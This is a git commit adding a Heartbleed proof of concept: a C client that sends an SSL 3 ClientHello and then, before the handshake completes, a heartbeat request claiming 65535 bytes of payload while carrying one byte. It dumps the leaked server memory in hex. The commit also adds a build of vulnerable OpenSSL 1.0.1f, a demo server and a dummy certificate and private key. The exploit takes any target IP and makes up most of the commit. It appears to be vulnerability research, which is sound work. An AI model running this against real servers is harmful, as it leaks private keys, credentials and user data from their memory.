From: Georgios Kontaxis Date: Tue, 16 Feb 2016 02:37:27 +0000 (-0500) Subject: tls_heartbleed_early X-Git-Url: http://git.99rst.org/?a=commitdiff_plain;p=tls_heartbleed_early.git tls_heartbleed_early --- diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..97a5dc2 --- /dev/null +++ b/Makefile @@ -0,0 +1,27 @@ +.PHONY: all clean + +all: tls_heartbleed_early server + +tls_heartbleed_early: + gcc -Wall tls_heartbleed_early.c -o tls_heartbleed_early + +server: dummy_ssl_server/openssl-1.0.1f + gcc -Wall dummy_ssl_server/ssl_server.c \ + -Idummy_ssl_server/openssl-1.0.1f/include/ \ + -Ldummy_ssl_server/openssl-1.0.1f/ \ + -lssl -lcrypto -ldl -o server && \ + ln -s dummy_ssl_server/dummy-cert.pem . && \ + ln -s dummy_ssl_server/dummy-key.pem . + +dummy_ssl_server/openssl-1.0.1f: + cd dummy_ssl_server && \ + tar zxf openssl-1.0.1f.tar.gz && \ + cd openssl-1.0.1f && \ + ./config && make && \ + cd ../ && \ + cd ../ + +clean: + rm -f tls_heartbleed_early + rm -f server dummy-cert.pem dummy-key.pem + rm -rf dummy_ssl_server/openssl-1.0.1f diff --git a/dummy_ssl_server/dummy-cert.pem b/dummy_ssl_server/dummy-cert.pem new file mode 100644 index 0000000..6158899 --- /dev/null +++ b/dummy_ssl_server/dummy-cert.pem @@ -0,0 +1,21 @@ +-----BEGIN CERTIFICATE----- +MIIDXTCCAkWgAwIBAgIJAKTMoXgojkcMMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNV +BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX +aWRnaXRzIFB0eSBMdGQwHhcNMTQwNDIzMDMyMjAwWhcNMTUwNDIzMDMyMjAwWjBF +MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50 +ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB +CgKCAQEAsSP0RprDe4JhpKX1fW6RmJQjZSBCITeIdRw2bVjHDo+mklCEctK93Als +Q1qdyb+dJj53BHGoVLP1f5zVGcTynjj7TsKzWt8kSfgV1lrVZ4UHe9URdYSW9q8u +9Uy7DjpT2xckWfZB1NTUuamAtRfhYBCx0ppNlxxmmhRZjr5/79h1ECSccWsf4/AU +xCCxJmT9rX/mBFT/DQIsJQ2sVN1YUJBgqNpDDqEXFSV+yk+lPOqUwOBCBhRfnv4H +k4Wq+dA23847YvEuRzVoFq7ghXYRtwrwYCrQwah4ZLb8vHZSXmNFi0AWzQMWZOWK +z1G2W6LAyl6TFtf8908RvbjhDA9WMwIDAQABo1AwTjAdBgNVHQ4EFgQUD4WEKQNg +GdbCCeBk3n+I9LpUSIkwHwYDVR0jBBgwFoAUD4WEKQNgGdbCCeBk3n+I9LpUSIkw +DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAhA1M3/U5rTHzECgEFw/p +Kt+yM1kpXe/iKCINM5GJ2wrKwuXooVzk6Kq6sCWmKZEaizs8O2thflqIzjvWGbPW +oDO0l8vAIKJmXV1MeUYU08ErgCmA6AJrg8PKQyNXUqV+sEMMhvvDnKUWBXDWUQA6 +YYU5w4P7y+ZQlI8zmJ4OYigzWuLvT7MvddRrunFDTkjksfjbNcHZp4XfxcJXKWP/ +PgKDpKydvGfxsYp42VM/jTs8X5aDgp1otJlcBJMAgTNH/abc2qeSF6GIaTKhm+xa +ue14X19qw/GDT7TB4Qb/3CXheaXnSPGQZbyY9BXJgg3OR14QkeccXzRvAr7F7jzZ +CA== +-----END CERTIFICATE----- diff --git a/dummy_ssl_server/dummy-key.pem b/dummy_ssl_server/dummy-key.pem new file mode 100644 index 0000000..4f34074 --- /dev/null +++ b/dummy_ssl_server/dummy-key.pem @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEAsSP0RprDe4JhpKX1fW6RmJQjZSBCITeIdRw2bVjHDo+mklCE +ctK93AlsQ1qdyb+dJj53BHGoVLP1f5zVGcTynjj7TsKzWt8kSfgV1lrVZ4UHe9UR +dYSW9q8u9Uy7DjpT2xckWfZB1NTUuamAtRfhYBCx0ppNlxxmmhRZjr5/79h1ECSc +cWsf4/AUxCCxJmT9rX/mBFT/DQIsJQ2sVN1YUJBgqNpDDqEXFSV+yk+lPOqUwOBC +BhRfnv4Hk4Wq+dA23847YvEuRzVoFq7ghXYRtwrwYCrQwah4ZLb8vHZSXmNFi0AW +zQMWZOWKz1G2W6LAyl6TFtf8908RvbjhDA9WMwIDAQABAoIBAE6N+jsBUOVJyZFh +g39PdEOslhG3f3wJi3sbuss9DnFXpO/HwyTEbivRBfDMk6KvVbprAw62dIazk5A2 +9Y3K+CjQbincT/thb09aNBzuBSs2JD53G5n45ZWZ1II1t9I0bZGALr+yZDlE9N0s +3QXyBCE85g7WHMiBcMKteZXCxyuOHmNBWR5yAttrvf3jEztrnbj7Ti517nENjcTv +732Hm084bJTRv1lpY2QV2zIYooyoZi8/oq9c19suyTqcZN1V33ycE5/qim6McThL +lCWCUmxGrh18ZHJBMeBjMbNsleEpPshtK01WqfrbCShnLevVtG79ere808ykt9uq +T2ZMnWECgYEA1lyJ/xVNh81BcfHmaw+VDwkNTnjchizJAr4JaUpFpmqPmgA6rvAm +0gowzuoZgGLxfkS6mic3cCXePYZbNeyI4tqF/bFYM2KmY8x2Syz0S1Vhyq4rkyIG +e5QHuotBEZTP8/+ogkykAW2Jp2ZR6w7U6YRduup+2pu/xNRs/TA1mdECgYEA04yK +cqiE2leK1bg9+yj6Akeq//ZVbtocOj+nfw7dIiMi0ooFGDEKEcO/AX7PJBvlWXeu +y4t4AZwJBArzDoPcPJO8fivyDEwqLf3POvzlGYBmvKTt/E2e1T4TfTiUAv+UN62B +TA5ocUY0B6uxncTd1a6K8iW+8ANh8zqmWi+nbMMCgYBqPYkDTKqVUMxLzek2TI3C +2uimaM5bDZ0+Z7NAZNgqR4wOdmifRVToKrbQBkRHVkJ8I1Icjq0yPwJrmchg7G9X +h5h7CMc/CHiQ48gJMCmPoKyMCFB+ZpGx88b01ImWThvWwXHhylxKfOCJf/O/vSUW +60yNFCV08VZVFjdCMP+P0QKBgQCUOgVIEYwE8RH2bgH/2dZTgqPudUunQGxG5BMY +k/Gd2cCshMjNCo9joyRSh+fcBS/OYG25cR/FAO/QRVvI79uBFoMcZO5Ub4mecBij +3E8qby2NQIMAJeMEx1ogg2QyNaJE4O2XvQCxXd9XAJaTVT2aW5I/2PLQeY5IPvAQ +gRNuwQKBgH/EvO+T4ahma6CSQwUe0A35IsR+E5sSj/ToedowgFSJh6MTxy0nqVOZ +7ZutdSq+KidclSnXqjZFDnoI+qmSjN6TefPXHWHIbW/v9EJVPbRVuXFF/jfFZiIa +G4UlVZRrKcpsFvFE3GXPx611K38ytAq+BWs4TGWlzSKvgJrZmMaW +-----END RSA PRIVATE KEY----- diff --git a/dummy_ssl_server/openssl-1.0.1f.tar.gz b/dummy_ssl_server/openssl-1.0.1f.tar.gz new file mode 100644 index 0000000..4270be9 Binary files /dev/null and b/dummy_ssl_server/openssl-1.0.1f.tar.gz differ diff --git a/dummy_ssl_server/ssl_server.c b/dummy_ssl_server/ssl_server.c new file mode 100644 index 0000000..512451b --- /dev/null +++ b/dummy_ssl_server/ssl_server.c @@ -0,0 +1,196 @@ +/* ssl_server.c + * + * Copyright (c) 2000 Sean Walton and Macmillan Publishers. Use may be in + * whole or in part in accordance to the General Public License (GPL). + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. +*/ + +/*****************************************************************************/ +/*** ssl_server.c ***/ +/*** ***/ +/*** Demonstrate an SSL server. ***/ +/*****************************************************************************/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#define FAIL -1 + +/*---------------------------------------------------------------------*/ +/*--- OpenListener - create server socket ---*/ +/*---------------------------------------------------------------------*/ +int OpenListener(int port) +{ int sd; + struct sockaddr_in addr; + + sd = socket(PF_INET, SOCK_STREAM, 0); + int one = 1; + setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (void*)&one, sizeof(one)); + bzero(&addr, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + addr.sin_addr.s_addr = INADDR_ANY; + if ( bind(sd, (struct sockaddr*)&addr, sizeof(addr)) != 0 ) + { + perror("can't bind port"); + abort(); + } + if ( listen(sd, 10) != 0 ) + { + perror("Can't configure listening port"); + abort(); + } + return sd; +} + +/*---------------------------------------------------------------------*/ +/*--- InitServerCTX - initialize SSL server and create context ---*/ +/*---------------------------------------------------------------------*/ +SSL_CTX* InitServerCTX(void) +{ const SSL_METHOD *method; + SSL_CTX *ctx; + + SSL_library_init(); + OpenSSL_add_all_algorithms(); /* load & register all cryptos, etc. */ + SSL_load_error_strings(); /* load all error messages */ + method = SSLv3_server_method(); /* create new server-method instance */ + ctx = SSL_CTX_new(method); /* create new context from method */ + if ( ctx == NULL ) + { + ERR_print_errors_fp(stderr); + abort(); + } + return ctx; +} + +/*---------------------------------------------------------------------*/ +/*--- LoadCertificates - load from files. ---*/ +/*---------------------------------------------------------------------*/ +void LoadCertificates(SSL_CTX* ctx, char* CertFile, char* KeyFile) +{ + /* set the local certificate from CertFile */ + if ( SSL_CTX_use_certificate_file(ctx, CertFile, SSL_FILETYPE_PEM) <= 0 ) + { + ERR_print_errors_fp(stderr); + abort(); + } + /* set the private key from KeyFile (may be the same as CertFile) */ + if ( SSL_CTX_use_PrivateKey_file(ctx, KeyFile, SSL_FILETYPE_PEM) <= 0 ) + { + ERR_print_errors_fp(stderr); + abort(); + } + /* verify private key */ + if ( !SSL_CTX_check_private_key(ctx) ) + { + fprintf(stderr, "Private key does not match the public certificate\n"); + abort(); + } +} + +/*---------------------------------------------------------------------*/ +/*--- ShowCerts - print out certificates. ---*/ +/*---------------------------------------------------------------------*/ +void ShowCerts(SSL* ssl) +{ X509 *cert; + char *line; + + cert = SSL_get_peer_certificate(ssl); /* Get certificates (if available) */ + if ( cert != NULL ) + { + printf("Server certificates:\n"); + line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0); + printf("Subject: %s\n", line); + free(line); + line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0); + printf("Issuer: %s\n", line); + free(line); + X509_free(cert); + } + else + printf("No certificates.\n"); +} + +/*---------------------------------------------------------------------*/ +/*--- Servlet - SSL servlet (contexts can be shared) ---*/ +/*---------------------------------------------------------------------*/ +void Servlet(SSL* ssl) /* Serve the connection -- threadable */ +{ char buf[1024]; + char reply[1024]; + int sd, bytes; + const char* HTMLecho="
%s
\n\n"; + + if ( SSL_accept(ssl) == FAIL ) /* do SSL-protocol accept */ + ERR_print_errors_fp(stderr); + else + { + ShowCerts(ssl); /* get any certificates */ + bytes = SSL_read(ssl, buf, sizeof(buf)); /* get request */ + if ( bytes > 0 ) + { + buf[bytes] = 0; + printf("Client msg: \"%s\"\n", buf); + sprintf(reply, HTMLecho, buf); /* construct reply */ + SSL_write(ssl, reply, strlen(reply)); /* send reply */ + } + else + ERR_print_errors_fp(stderr); + } + sd = SSL_get_fd(ssl); /* get socket connection */ + SSL_free(ssl); /* release SSL state */ + close(sd); /* close connection */ +} + +/*---------------------------------------------------------------------*/ +/*--- main - create SSL socket server. ---*/ +/*---------------------------------------------------------------------*/ +int main(int count, char *strings[]) +{ SSL_CTX *ctx; + int server; + char *portnum; + + if ( count != 2 ) + { + printf("Usage: %s \n", strings[0]); + exit(0); + } + portnum = strings[1]; + ctx = InitServerCTX(); /* initialize SSL */ + LoadCertificates(ctx, "dummy-cert.pem", "dummy-key.pem"); /* load certs */ + server = OpenListener(atoi(portnum)); /* create server socket */ + while (1) + { struct sockaddr_in addr; + socklen_t len = sizeof(addr); + SSL *ssl; + + int client = accept(server, (struct sockaddr*)&addr, &len); /* accept connection as usual */ + printf("Connection: %s:%d\n", + inet_ntoa(addr.sin_addr), ntohs(addr.sin_port)); + ssl = SSL_new(ctx); /* get new SSL state with context */ + SSL_set_fd(ssl, client); /* set connection socket to SSL state */ + Servlet(ssl); /* service connection */ + } + close(server); /* close server socket */ + SSL_CTX_free(ctx); /* release context */ +} + diff --git a/tls_heartbleed_early.c b/tls_heartbleed_early.c new file mode 100644 index 0000000..fb0a87b --- /dev/null +++ b/tls_heartbleed_early.c @@ -0,0 +1,359 @@ +/* + * This program sends an SSL 3 ClientHello message with the Heartbeat + * extension and immediately requests a heartbeat from the server without + * completing the TLS handshake. + * + * RFC 5246 states that "a HeartbeatRequest message SHOULD NOT be sent during + * handshakes. If a handshake is initiated while a HeartbeatRequest is still + * in flight, the sending peer MUST stop the DTLS retransmission timer for it. + * The receiving peer SHOULD discard the message silently, if it arrives + * during the handshake." + * + * This test program should NOT get back a heartbeat response. + * However, servers linked to OpenSSL 1.0.1f will respond to such early + * heartbeat requests. This makes them vulnerable to Heartbleed even if + * they require client-side certificates to complete the TLS handshake. + * Had OpenSSL correctly implemented the RFC this would not have been an + * issue. + * + * - https://tools.ietf.org/html/rfc6101 + * - https://tools.ietf.org/html/rfc6520 + * + * kontaxis 2014-04-24 + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +struct __attribute__((__packed__)) +{ + /* TLSPlaintext 5 bytes */ + uint8_t TLSPlaintext__type; + uint8_t TLSPlaintext__versionMajor; + uint8_t TLSPlaintext__versionMinor; + uint16_t TLSPlaintext__length; + /* HeartbeatMessage 20 bytes */ + uint8_t Heartbeat__type; + uint16_t Heartbeat__payload_length; + uint8_t Heartbeat__payload[1]; + uint8_t Heartbeat__padding[16]; +} payload_heartbeat_req = +{ + /* TLSPlainText */ + .TLSPlaintext__type = TLS1_RT_HEARTBEAT, + .TLSPlaintext__versionMajor = 0x3, + .TLSPlaintext__versionMinor = 0x0, + .TLSPlaintext__length = 0x1400, /* 20 */ + /* Heartbeat request */ + .Heartbeat__type = 0x1, + .Heartbeat__payload_length = 0xffff, /* Erroneous length (65535 bytes) */ + .Heartbeat__payload = {0x41} /* Actual payload is 1 byte */ + /* Heartbeat__padding */ +}; + +struct __attribute__((__packed__)) +{ + /* TLSPlaintext 5 bytes */ + uint8_t TLSPlaintext__type; + uint8_t TLSPlaintext__versionMajor; + uint8_t TLSPlaintext__versionMinor; + uint16_t TLSPlaintext__length; + /* Handshake 4 bytes */ + uint8_t Handshake__type; + uint8_t Handshake__length[3]; + /* ClientHello 50 bytes */ + uint8_t ClientHello__versionMajor; + uint8_t ClientHello__versionMinor; + uint32_t ClientHello__random_gmt_unix_time; + uint8_t ClientHello__random_bytes[28]; + uint8_t ClientHello__session_id_length; + uint16_t ClientHello__cipher_suites_length; + uint16_t ClientHello__cipher_suites[2]; + uint8_t ClientHello__compression_methods_length; + uint8_t ClientHello__compression_methods[1]; + uint16_t ClientHello__extensions_length; + uint16_t ClientHello__extension_type; + uint16_t ClientHello__extension_length; + uint8_t ClientHello__extension_mode; +} payload_clienthello = +{ + /* TLSPlainText */ + .TLSPlaintext__type = SSL3_RT_HANDSHAKE, + .TLSPlaintext__versionMajor = 0x3, + .TLSPlaintext__versionMinor = 0x0, + .TLSPlaintext__length = 0x3600, /* 54 */ + /* Handshake */ + .Handshake__type = 0x1, /* ClientHello */ + .Handshake__length = {0x00, 0x00, 0x32}, /* 50 */ + /* ClientHello */ + .ClientHello__versionMajor = 0x3, + .ClientHello__versionMinor = 0x0, + /* ClientHello__random_gmt_unix_time */ + /* ClientHello__random_bytes */ + .ClientHello__session_id_length = 0x0, + .ClientHello__cipher_suites_length = 0x0400, + // NULL cipher + // TLS_RSA_WITH_AES_256_CBC_SHA + .ClientHello__cipher_suites = {0x0000, 0x3500}, + .ClientHello__compression_methods_length = 0x1, + .ClientHello__compression_methods = {0x0}, + .ClientHello__extensions_length = 0x0500, + .ClientHello__extension_length = 0x0100, + .ClientHello__extension_type = 0x0f00, /* 0x000f Heartbeat */ + .ClientHello__extension_length = 0x0100, + .ClientHello__extension_mode = 0x1 +}; + +struct __attribute__((__packed__)) +{ + /* TLSPlaintext 5 bytes */ + uint8_t TLSPlaintext__type; /* ContentType */ + uint8_t TLSPlaintext__versionMajor; + uint8_t TLSPlaintext__versionMinor; + uint16_t TLSPlaintext__length; +} tls_TLSPlaintext_header; + +/* + * Reads from fd as many times necessary to return exactly 'count' bytes. + */ +ssize_t read_bytes(int fd, void *buf, size_t count) +{ + size_t i = 0; + ssize_t r; + + while (i < count) { + r = read(fd, buf + i, count - i); + if (r == 0 || r == -1) { + if (r == 0) { +#if __DEBUG__ + fprintf(stderr, "EOF or peer has performed socket shutdown.\n"); +#endif + } else { + perror("read"); + } + return r; + } + i += r; + } + + return count; +} + +void print_usage (char *s) +{ + if (!s) { + return; + } + + fprintf(stderr, "Usage: %s " + "-t [-p ]\n", s); +} + +#define OPT_TARGET_HOST ((0x1 << 0) & 0xFF) +#define OPT_TARGET_PORT ((0x1 << 1) & 0xFF) +#define OPT_VERBOSE ((0x1 << 2) & 0xFF) + +int main(int argc, char**argv) +{ + int i; + + struct sockaddr_in servaddr; + bzero(&servaddr, sizeof(servaddr)); + servaddr.sin_family = AF_INET; + servaddr.sin_port = htons(443); /* Default */ + + uint8_t opt_flags; + + opt_flags = 0; + + while ((i = getopt(argc, argv, "ht:p:v")) != -1) { + switch(i) { + case 'h': + print_usage(argv[0]); + exit(1); + break; + case 'p': + servaddr.sin_port = htons((uint16_t)atoi(optarg)); + opt_flags |= OPT_TARGET_PORT; + break; + case 't': + servaddr.sin_addr.s_addr = inet_addr(optarg); + opt_flags |= OPT_TARGET_HOST; + break; + case 'v': + opt_flags |= OPT_VERBOSE; + break; + default: + break; + } + } + + if (!(opt_flags & OPT_TARGET_HOST)) { + print_usage(argv[0]); + exit(1); + } + + int sockfd; + + sockfd = socket(AF_INET, SOCK_STREAM, 0); + + if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) { + perror("connect"); + exit(1); + } + + fprintf(stdout, "- Connection established.\n"); + + unsigned int r; + + /* Send ClientHello to initiate SSL handshake. */ + r = write(sockfd, &payload_clienthello, sizeof(payload_clienthello)); + if (r < sizeof(payload_clienthello)) { + perror("write"); + exit(1); + } + + fprintf(stdout, "> ClientHello\n"); + + /* Naive handling of server's response to ClientHello; + * read and discard ServerHello, Certificate, ClientHelloDone. + */ + + /* Read ServerHello. */ + if (read_bytes(sockfd, &tls_TLSPlaintext_header, + sizeof(tls_TLSPlaintext_header)) <= 0) { + exit(1); + } + + if (tls_TLSPlaintext_header.TLSPlaintext__type != SSL3_RT_HANDSHAKE) { + fprintf(stderr, "Unexpected TLSPlaintext__type 0x%x\n", + tls_TLSPlaintext_header.TLSPlaintext__type); + exit(1); + } + + fprintf(stdout, "< ServerHello\n"); + + uint8_t buffer[0xFFFF]; + + /* Consume and ignore ServerHello payload. */ + if (read_bytes(sockfd, buffer, + ntohs(tls_TLSPlaintext_header.TLSPlaintext__length)) <= 0) { + exit(1); + } + + /* Read Certificate. */ + if (read_bytes(sockfd, &tls_TLSPlaintext_header, + sizeof(tls_TLSPlaintext_header)) <= 0) { + exit(1); + } + + if (tls_TLSPlaintext_header.TLSPlaintext__type != SSL3_RT_HANDSHAKE) { + fprintf(stderr, "Unexpected TLSPlaintext__type 0x%x\n", + tls_TLSPlaintext_header.TLSPlaintext__type); + exit(1); + } + + fprintf(stdout, "< Certificate\n"); + + /* Consume and ignore Certificate payload. */ + if (read_bytes(sockfd, buffer, + ntohs(tls_TLSPlaintext_header.TLSPlaintext__length)) <= 0) { + exit(1); + } + + /* Read ServerHelloDone. */ + if (read_bytes(sockfd, &tls_TLSPlaintext_header, + sizeof(tls_TLSPlaintext_header)) <= 0) { + exit(1); + } + + if (tls_TLSPlaintext_header.TLSPlaintext__type != SSL3_RT_HANDSHAKE) { + fprintf(stderr, "Unexpected TLSPlaintext__type 0x%x\n", + tls_TLSPlaintext_header.TLSPlaintext__type); + exit(1); + } + + fprintf(stdout, "< ServerHelloDone\n"); + + /* Consume and ignore ServerHelloDone payload. */ + if (read_bytes(sockfd, buffer, + ntohs(tls_TLSPlaintext_header.TLSPlaintext__length)) <= 0) { + exit(1); + } + + /* Send Heartbeat request to elicit Heartbleed response. */ + r = write(sockfd, &payload_heartbeat_req, sizeof(payload_heartbeat_req)); + if (r < sizeof(payload_heartbeat_req)) { + perror("write"); + exit(1); + } + + fprintf(stdout, "> Heartbeat request\n"); + + /* Read Heartbeat response here. */ + uint32_t heartbeat_response_bytes = 0; + while(heartbeat_response_bytes < + payload_heartbeat_req.Heartbeat__payload_length) + { + if (read_bytes(sockfd, &tls_TLSPlaintext_header, + sizeof(tls_TLSPlaintext_header)) <= 0) { + exit(1); + } + + if (tls_TLSPlaintext_header.TLSPlaintext__type != TLS1_RT_HEARTBEAT) { + fprintf(stderr, "Unexpected TLSPlaintext__type 0x%x\n", + tls_TLSPlaintext_header.TLSPlaintext__type); + exit(1); + } + + fprintf(stdout, "< Heartbeat response (%d bytes)\n", + ntohs(tls_TLSPlaintext_header.TLSPlaintext__length)); + + heartbeat_response_bytes += + ntohs(tls_TLSPlaintext_header.TLSPlaintext__length); + + fprintf(stdout, "- Read %d Heartbeat response bytes so far.\n", + heartbeat_response_bytes); + + if (read_bytes(sockfd, buffer, + ntohs(tls_TLSPlaintext_header.TLSPlaintext__length)) <= 0) { + exit(1); + } + + if (!(opt_flags & OPT_VERBOSE)) { + continue; + } + + for (i = 0; i < ntohs(tls_TLSPlaintext_header.TLSPlaintext__length); i++) { + /* Line offset */ + if ((i) % 16 == 0) { + fprintf(stdout, "%04x ", i); + } + + fprintf(stdout, "%02x ", buffer[i]); + + /* Organize bytes in groups of 8. */ + if ((i + 1) % 8 == 0) { + fprintf(stdout, " "); + } + + if ((i + 1) % 16 == 0) { + fprintf(stdout, "\n"); + } + } + fprintf(stdout, "\n"); + } + + return 0; +}